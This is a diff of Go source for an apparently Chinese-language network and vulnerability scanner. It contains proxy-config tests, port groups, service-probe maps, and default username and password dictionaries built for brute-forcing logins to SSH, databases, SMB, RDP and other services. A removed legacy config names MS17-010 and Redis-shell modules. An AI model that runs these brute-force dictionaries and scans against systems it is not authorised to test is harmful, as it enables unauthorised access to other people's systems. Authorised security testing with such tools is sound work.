|
||||||
|
httpProxy: "",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeSOCKS5,
|
||||||
|
expectedAddr: "127.0.0.1:1080",
|
||||||
|
expectedUser: "user",
|
||||||
|
expectedPass: "pass",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "socks5 with auth no protocol",
|
||||||
|
socks5Proxy: "user:[email protected]:1080",
|
||||||
|
httpProxy: "",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeSOCKS5,
|
||||||
|
expectedAddr: "127.0.0.1:1080",
|
||||||
|
expectedUser: "user",
|
||||||
|
expectedPass: "pass",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "http proxy simple",
|
||||||
|
socks5Proxy: "",
|
||||||
|
httpProxy: "http://127.0.0.1:8080",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeHTTP,
|
||||||
|
expectedAddr: "127.0.0.1:8080",
|
||||||
|
expectedUser: "",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "https proxy",
|
||||||
|
socks5Proxy: "",
|
||||||
|
httpProxy: "https://127.0.0.1:8443",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeHTTPS,
|
||||||
|
expectedAddr: "127.0.0.1:8443",
|
||||||
|
expectedUser: "",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "http proxy with auth",
|
||||||
|
socks5Proxy: "",
|
||||||
|
httpProxy: "http://user:[email protected]:8080",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeHTTP,
|
||||||
|
expectedAddr: "127.0.0.1:8080",
|
||||||
|
expectedUser: "user",
|
||||||
|
expectedPass: "pass",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "socks5 priority over http",
|
||||||
|
socks5Proxy: "127.0.0.1:1080",
|
||||||
|
httpProxy: "http://127.0.0.1:8080",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeSOCKS5,
|
||||||
|
expectedAddr: "127.0.0.1:1080",
|
||||||
|
expectedUser: "",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "socks5 with username only",
|
||||||
|
socks5Proxy: "socks5://[email protected]:1080",
|
||||||
|
httpProxy: "",
|
||||||
|
timeout: 5 * time.Second,
|
||||||
|
expectedType: proxy.ProxyTypeSOCKS5,
|
||||||
|
expectedAddr: "127.0.0.1:1080",
|
||||||
|
expectedUser: "user",
|
||||||
|
expectedPass: "",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
// 设置FlagVars
|
||||||
|
fv.Socks5Proxy = tt.socks5Proxy
|
||||||
|
fv.HTTPProxy = tt.httpProxy
|
||||||
|
|
||||||
|
// 调用函数
|
||||||
|
config := createProxyConfig(tt.timeout)
|
||||||
|
|
||||||
|
// 验证结果
|
||||||
|
if config.Type != tt.expectedType {
|
||||||
|
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
|
||||||
|
}
|
||||||
|
if config.Address != tt.expectedAddr {
|
||||||
|
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
|
||||||
|
}
|
||||||
|
if config.Username != tt.expectedUser {
|
||||||
|
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
|
||||||
|
}
|
||||||
|
if config.Password != tt.expectedPass {
|
||||||
|
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
|
||||||
|
}
|
||||||
|
if config.Timeout != tt.timeout {
|
||||||
|
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCreateProxyConfigEdgeCases(t *testing.T) {
|
||||||
|
fv := GetFlagVars()
|
||||||
|
origSocks5 := fv.Socks5Proxy
|
||||||
|
origHTTP := fv.HTTPProxy
|
||||||
|
defer func() {
|
||||||
|
fv.Socks5Proxy = origSocks5
|
||||||
|
fv.HTTPProxy = origHTTP
|
||||||
|
}()
|
||||||
|
|
||||||
|
t.Run("invalid socks5 url fallback", func(t *testing.T) {
|
||||||
|
fv.Socks5Proxy = "://invalid"
|
||||||
|
fv.HTTPProxy = ""
|
||||||
|
|
||||||
|
config := createProxyConfig(5 * time.Second)
|
||||||
|
|
||||||
|
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
|
||||||
|
if config.Type != proxy.ProxyTypeSOCKS5 {
|
||||||
|
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
|
||||||
|
}
|
||||||
|
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
|
||||||
|
if config.Address == "" {
|
||||||
|
t.Error("Address should not be empty")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("invalid http url fallback", func(t *testing.T) {
|
||||||
|
fv.Socks5Proxy = ""
|
||||||
|
fv.HTTPProxy = "://invalid"
|
||||||
|
|
||||||
|
config := createProxyConfig(5 * time.Second)
|
||||||
|
|
||||||
|
if config.Type != proxy.ProxyTypeHTTP {
|
||||||
|
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
|
||||||
|
}
|
||||||
|
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
|
||||||
|
if config.Address == "" {
|
||||||
|
t.Error("Address should not be empty")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty password with username", func(t *testing.T) {
|
||||||
|
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
|
||||||
|
fv.HTTPProxy = ""
|
||||||
|
|
||||||
|
config := createProxyConfig(5 * time.Second)
|
||||||
|
|
||||||
|
if config.Username != "user" {
|
||||||
|
t.Errorf("Username = %q, want %q", config.Username, "user")
|
||||||
|
}
|
||||||
|
if config.Password != "" {
|
||||||
|
t.Errorf("Password = %q, want empty string", config.Password)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import "sync"
|
||||||
|
|
||||||
|
// ResultCallback 扫描结果回调函数类型
|
||||||
|
type ResultCallback func(result interface{})
|
||||||
|
|
||||||
|
var (
|
||||||
|
resultCallback ResultCallback
|
||||||
|
callbackMu sync.RWMutex
|
||||||
|
)
|
||||||
|
|
||||||
|
// SetResultCallback 设置结果回调函数(Web模式使用)
|
||||||
|
func SetResultCallback(cb ResultCallback) {
|
||||||
|
callbackMu.Lock()
|
||||||
|
defer callbackMu.Unlock()
|
||||||
|
resultCallback = cb
|
||||||
|
}
|
||||||
|
|
||||||
|
// NotifyResult 通知结果给回调函数
|
||||||
|
func NotifyResult(result interface{}) {
|
||||||
|
callbackMu.RLock()
|
||||||
|
cb := resultCallback
|
||||||
|
callbackMu.RUnlock()
|
||||||
|
|
||||||
|
if cb != nil {
|
||||||
|
cb(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearResultCallback 清除结果回调函数
|
||||||
|
func ClearResultCallback() {
|
||||||
|
callbackMu.Lock()
|
||||||
|
defer callbackMu.Unlock()
|
||||||
|
resultCallback = nil
|
||||||
|
}
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
var Userdict = map[string][]string{
|
|
||||||
"ftp": {"www","admin","root","db","wwwroot","data","web","ftp"},
|
|
||||||
"mysql": {"root"},
|
|
||||||
"mssql": {"root","sa"},
|
|
||||||
"smb": {"administrator","guest"},
|
|
||||||
"postgresql": {"postgres","admin"},
|
|
||||||
"ssh": {"root","admin"},
|
|
||||||
"mongodb": {"root","admin"},
|
|
||||||
//"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
|
|
||||||
}
|
|
||||||
|
|
||||||
var Passwords = []string{"admin123A","admin123","123456","admin","root","password","123123","654321","123","1","admin@123","Admin@123","{user}","{user}123","","P@ssw0rd!","qwa123","12345678","test","123qwe!@#","123456789","123321","666666","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1qaz@WSX","Aa123456","sysadmin","system","huawei"}
|
|
||||||
|
|
||||||
var PORTList = map[string]int{
|
|
||||||
"ftp": 21,
|
|
||||||
"ssh": 22,
|
|
||||||
"mem": 11211,
|
|
||||||
"mgo": 27017,
|
|
||||||
"mssql": 1433,
|
|
||||||
"psql": 5432,
|
|
||||||
"redis": 6379,
|
|
||||||
"mysql": 3306,
|
|
||||||
"smb": 445,
|
|
||||||
"ms17010": 1000001,
|
|
||||||
"cve20200796":1000002,
|
|
||||||
"webtitle": 1000003,
|
|
||||||
"elastic": 9200,
|
|
||||||
"findnet": 135,
|
|
||||||
"all":0,
|
|
||||||
}
|
|
||||||
|
|
||||||
var PORTList_bak = map[string]int{
|
|
||||||
"ftp": 21,
|
|
||||||
"ssh": 22,
|
|
||||||
"mem": 11211,
|
|
||||||
"mgo": 27017,
|
|
||||||
"mssql": 1433,
|
|
||||||
"psql": 5432,
|
|
||||||
"redis": 6379,
|
|
||||||
"mysql": 3306,
|
|
||||||
"smb": 445,
|
|
||||||
"ms17010": 1000001,
|
|
||||||
"cve20200796":1000002,
|
|
||||||
"webtitle": 1000003,
|
|
||||||
"elastic": 9200,
|
|
||||||
"findnet": 135,
|
|
||||||
"all":0,
|
|
||||||
}
|
|
||||||
|
|
||||||
var Outputfile = "result.txt"
|
|
||||||
var IsSave = true
|
|
||||||
|
|
||||||
var DefaultPorts = "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017"
|
|
||||||
|
|
||||||
|
|
||||||
type HostInfo struct {
|
|
||||||
Host string
|
|
||||||
HostFile string
|
|
||||||
Ports string
|
|
||||||
Url string
|
|
||||||
Timeout int64
|
|
||||||
Scantype string
|
|
||||||
Isping bool
|
|
||||||
Threads int
|
|
||||||
IcmpThreads int
|
|
||||||
Command string
|
|
||||||
Username string
|
|
||||||
Password string
|
|
||||||
Userfile string
|
|
||||||
Passfile string
|
|
||||||
Usernames []string
|
|
||||||
Passwords []string
|
|
||||||
Outputfile string
|
|
||||||
IsSave bool
|
|
||||||
RedisFile string
|
|
||||||
RedisShell string
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,266 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
// PocInfo POC详细信息结构 - 保留给webscan使用
|
||||||
|
type PocInfo struct {
|
||||||
|
Target string `json:"target"`
|
||||||
|
PocName string `json:"poc_name"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CredentialPair 精确的用户名密码对
|
||||||
|
type CredentialPair struct {
|
||||||
|
Username string `json:"username"`
|
||||||
|
Password string `json:"password"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 端口组常量 - 从common/constants.go迁移
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// 预定义端口组 - 字符串格式,用于命令行参数默认值
|
||||||
|
var (
|
||||||
|
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
|
||||||
|
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||||
|
|
||||||
|
// MainPorts 主要扫描端口 (约150个)
|
||||||
|
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
|
||||||
|
MainPorts = "" +
|
||||||
|
// 基础服务 (21-995)
|
||||||
|
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
|
||||||
|
// 代理/隧道 (1080-1883)
|
||||||
|
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
|
||||||
|
// 远程/数据库 (2049-3690)
|
||||||
|
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
|
||||||
|
// Java/中间件 (4369-5986)
|
||||||
|
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
|
||||||
|
// 缓存/数据库 (6000-6667)
|
||||||
|
"6000,6379,6380,6443,6666,6667," +
|
||||||
|
// Web/中间件 (7001-9999)
|
||||||
|
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
|
||||||
|
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
|
||||||
|
// 管理/监控 (10000-11211)
|
||||||
|
"10000,10051,10250,10255,11211," +
|
||||||
|
// 消息队列/集群 (15672-27018)
|
||||||
|
"15672,22222,26379,27017,27018," +
|
||||||
|
// Hadoop/大数据 (50000-61616)
|
||||||
|
"50000,50070,50075,61613,61614,61616"
|
||||||
|
|
||||||
|
// DbPorts 数据库端口
|
||||||
|
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
|
||||||
|
|
||||||
|
// ServicePorts 服务端口
|
||||||
|
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||||
|
|
||||||
|
// CommonPorts 常用端口
|
||||||
|
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
||||||
|
|
||||||
|
// AllPorts 全端口
|
||||||
|
AllPorts = "1-65535"
|
||||||
|
)
|
||||||
|
|
||||||
|
// GetPortGroups 获取端口组映射 - 用于解析器
|
||||||
|
func GetPortGroups() map[string]string {
|
||||||
|
return map[string]string{
|
||||||
|
"web": WebPorts,
|
||||||
|
"main": MainPorts,
|
||||||
|
"db": DbPorts,
|
||||||
|
"service": ServicePorts,
|
||||||
|
"common": CommonPorts,
|
||||||
|
"all": AllPorts,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 服务探测配置
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// DefaultProbeMap 默认探测器列表
|
||||||
|
var DefaultProbeMap = []string{
|
||||||
|
"GenericLines",
|
||||||
|
"GetRequest",
|
||||||
|
"TLSSessionReq",
|
||||||
|
"SSLSessionReq",
|
||||||
|
"ms-sql-s",
|
||||||
|
"JavaRMI",
|
||||||
|
"LDAPSearchReq",
|
||||||
|
"LDAPBindReq",
|
||||||
|
"oracle-tns",
|
||||||
|
"Socks5",
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultPortMap 默认端口映射关系
|
||||||
|
var DefaultPortMap = map[int][]string{
|
||||||
|
1: {"GetRequest", "Help"},
|
||||||
|
7: {"Help"},
|
||||||
|
21: {"GenericLines", "Help"},
|
||||||
|
23: {"GenericLines", "tn3270"},
|
||||||
|
25: {"Hello", "Help"},
|
||||||
|
35: {"GenericLines"},
|
||||||
|
42: {"SMBProgNeg"},
|
||||||
|
43: {"GenericLines"},
|
||||||
|
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||||
|
70: {"GetRequest"},
|
||||||
|
79: {"GenericLines", "GetRequest", "Help"},
|
||||||
|
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||||
|
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||||
|
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||||
|
98: {"GenericLines"},
|
||||||
|
110: {"GenericLines"},
|
||||||
|
111: {"RPCCheck"},
|
||||||
|
113: {"GenericLines", "GetRequest", "Help"},
|
||||||
|
119: {"GenericLines", "Help"},
|
||||||
|
130: {"NotesRPC"},
|
||||||
|
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||||
|
139: {"GetRequest", "SMBProgNeg"},
|
||||||
|
143: {"GetRequest"},
|
||||||
|
175: {"NJE"},
|
||||||
|
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||||
|
214: {"GenericLines"},
|
||||||
|
264: {"GenericLines"},
|
||||||
|
311: {"LDAPSearchReq"},
|
||||||
|
340: {"GenericLines"},
|
||||||
|
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||||
|
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||||
|
445: {"SMBProgNeg"},
|
||||||
|
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||||
|
502: {"GenericLines"},
|
||||||
|
503: {"GenericLines"},
|
||||||
|
513: {"GenericLines"},
|
||||||
|
514: {"GenericLines"},
|
||||||
|
515: {"LPDString"},
|
||||||
|
544: {"GenericLines"},
|
||||||
|
548: {"afp"},
|
||||||
|
554: {"GetRequest"},
|
||||||
|
563: {"GenericLines"},
|
||||||
|
587: {"Hello", "Help"},
|
||||||
|
631: {"GetRequest", "HTTPOptions"},
|
||||||
|
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||||
|
646: {"LDAPSearchReq", "RPCCheck"},
|
||||||
|
691: {"GenericLines"},
|
||||||
|
873: {"GenericLines"},
|
||||||
|
898: {"GetRequest"},
|
||||||
|
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||||
|
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||||
|
1080: {"GenericLines", "Socks5", "Socks4"},
|
||||||
|
1099: {"JavaRMI"},
|
||||||
|
1234: {"SqueezeCenter_CLI"},
|
||||||
|
1311: {"GenericLines"},
|
||||||
|
1352: {"oracle-tns"},
|
||||||
|
1414: {"ibm-mqseries"},
|
||||||
|
1433: {"ms-sql-s"},
|
||||||
|
1521: {"oracle-tns"},
|
||||||
|
1723: {"GenericLines"},
|
||||||
|
1883: {"mqtt"},
|
||||||
|
1911: {"oracle-tns"},
|
||||||
|
2000: {"GenericLines", "oracle-tns"},
|
||||||
|
2049: {"RPCCheck"},
|
||||||
|
2121: {"GenericLines", "Help"},
|
||||||
|
2181: {"GenericLines"},
|
||||||
|
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
|
||||||
|
2375: {"docker", "GetRequest", "HTTPOptions"},
|
||||||
|
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
|
||||||
|
2484: {"oracle-tns"},
|
||||||
|
2628: {"dominoconsole"},
|
||||||
|
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||||
|
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
|
||||||
|
3389: {"TerminalServerCookie", "TerminalServer"},
|
||||||
|
3690: {"GenericLines"},
|
||||||
|
4000: {"GenericLines"},
|
||||||
|
4369: {"epmd"},
|
||||||
|
4444: {"GenericLines"},
|
||||||
|
4840: {"GenericLines"},
|
||||||
|
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
5050: {"GenericLines"},
|
||||||
|
5060: {"SIPOptions"},
|
||||||
|
5222: {"GenericLines"},
|
||||||
|
5432: {"GenericLines"},
|
||||||
|
5555: {"GenericLines"},
|
||||||
|
5560: {"GenericLines", "oracle-tns"},
|
||||||
|
5631: {"GenericLines", "PCWorkstation"},
|
||||||
|
5672: {"GenericLines"},
|
||||||
|
5984: {"GetRequest", "HTTPOptions"},
|
||||||
|
6000: {"X11Probe"},
|
||||||
|
6379: {"redis-server"},
|
||||||
|
6432: {"GenericLines"},
|
||||||
|
6667: {"GenericLines"},
|
||||||
|
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||||
|
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||||
|
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||||
|
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||||
|
7777: {"GenericLines", "oracle-tns"},
|
||||||
|
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
|
||||||
|
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
|
||||||
|
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||||
|
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
9042: {"GenericLines"},
|
||||||
|
9092: {"GenericLines", "kafka"},
|
||||||
|
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
|
||||||
|
9300: {"GenericLines"},
|
||||||
|
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
|
||||||
|
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||||
|
10051: {"GenericLines"},
|
||||||
|
11211: {"Memcache"},
|
||||||
|
15672: {"GetRequest", "HTTPOptions"},
|
||||||
|
27017: {"mongodb"},
|
||||||
|
27018: {"mongodb"},
|
||||||
|
50070: {"GetRequest", "HTTPOptions"},
|
||||||
|
61616: {"GenericLines"},
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultUserDict 默认服务用户字典
|
||||||
|
var DefaultUserDict = map[string][]string{
|
||||||
|
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||||
|
"mysql": {"root", "mysql"},
|
||||||
|
"mssql": {"sa", "sql"},
|
||||||
|
"smb": {"administrator", "admin", "guest"},
|
||||||
|
"rdp": {"administrator", "admin", "guest"},
|
||||||
|
"postgresql": {"postgres", "admin"},
|
||||||
|
"ssh": {"root", "admin"},
|
||||||
|
"mongodb": {"root", "admin"},
|
||||||
|
"redis": {""},
|
||||||
|
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||||
|
"telnet": {"root", "admin", "test"},
|
||||||
|
"elastic": {"elastic", "admin", "kibana"},
|
||||||
|
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||||
|
"kafka": {"admin", "kafka", "root", "test"},
|
||||||
|
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||||
|
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||||
|
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||||
|
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||||
|
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||||
|
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||||
|
"rsync": {"root", "admin", "backup"},
|
||||||
|
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||||
|
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultPasswords 默认密码字典
|
||||||
|
var DefaultPasswords = []string{
|
||||||
|
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
|
||||||
|
"password", "Password", "P@ssword123", "123123", "654321", "111111",
|
||||||
|
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
|
||||||
|
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
|
||||||
|
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
|
||||||
|
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
|
||||||
|
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
|
||||||
|
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
|
||||||
|
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
|
||||||
|
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
|
||||||
|
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
|
||||||
|
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
|
||||||
|
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
|
||||||
|
}
|
||||||
@@ -0,0 +1,393 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
constants_test.go - 配置常量测试
|
||||||
|
|
||||||
|
测试目标:端口组、探测器配置、字典数据
|
||||||
|
价值:配置错误会导致:
|
||||||
|
- 端口组错误 → 扫描范围错误(用户遗漏目标)
|
||||||
|
- 字典错误 → 暴力破解失败(无法登录系统)
|
||||||
|
- 探测器配置错误 → 服务识别失败
|
||||||
|
|
||||||
|
"配置是数据,但数据也会有bug。端口范围错误、字典重复、
|
||||||
|
空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 端口组测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestPortGroups_Format 测试端口组格式
|
||||||
|
//
|
||||||
|
// 验证:所有端口组字符串格式正确(可解析为端口列表)
|
||||||
|
func TestPortGroups_Format(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
portGroup string
|
||||||
|
}{
|
||||||
|
{"WebPorts", WebPorts},
|
||||||
|
{"MainPorts", MainPorts},
|
||||||
|
{"DbPorts", DbPorts},
|
||||||
|
{"ServicePorts", ServicePorts},
|
||||||
|
{"CommonPorts", CommonPorts},
|
||||||
|
{"AllPorts", AllPorts},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
// 验证格式:逗号分隔的数字或范围
|
||||||
|
if tt.portGroup == "" {
|
||||||
|
t.Error("端口组不应为空")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// AllPorts是特殊格式"1-65535"
|
||||||
|
if tt.portGroup == "1-65535" {
|
||||||
|
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 其他端口组应该是逗号分隔的数字
|
||||||
|
ports := strings.Split(tt.portGroup, ",")
|
||||||
|
if len(ports) == 0 {
|
||||||
|
t.Error("端口组应该包含至少一个端口")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证每个端口都是有效数字
|
||||||
|
for i, portStr := range ports {
|
||||||
|
port, err := strconv.Atoi(strings.TrimSpace(portStr))
|
||||||
|
if err != nil {
|
||||||
|
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证端口范围
|
||||||
|
if port < 1 || port > 65535 {
|
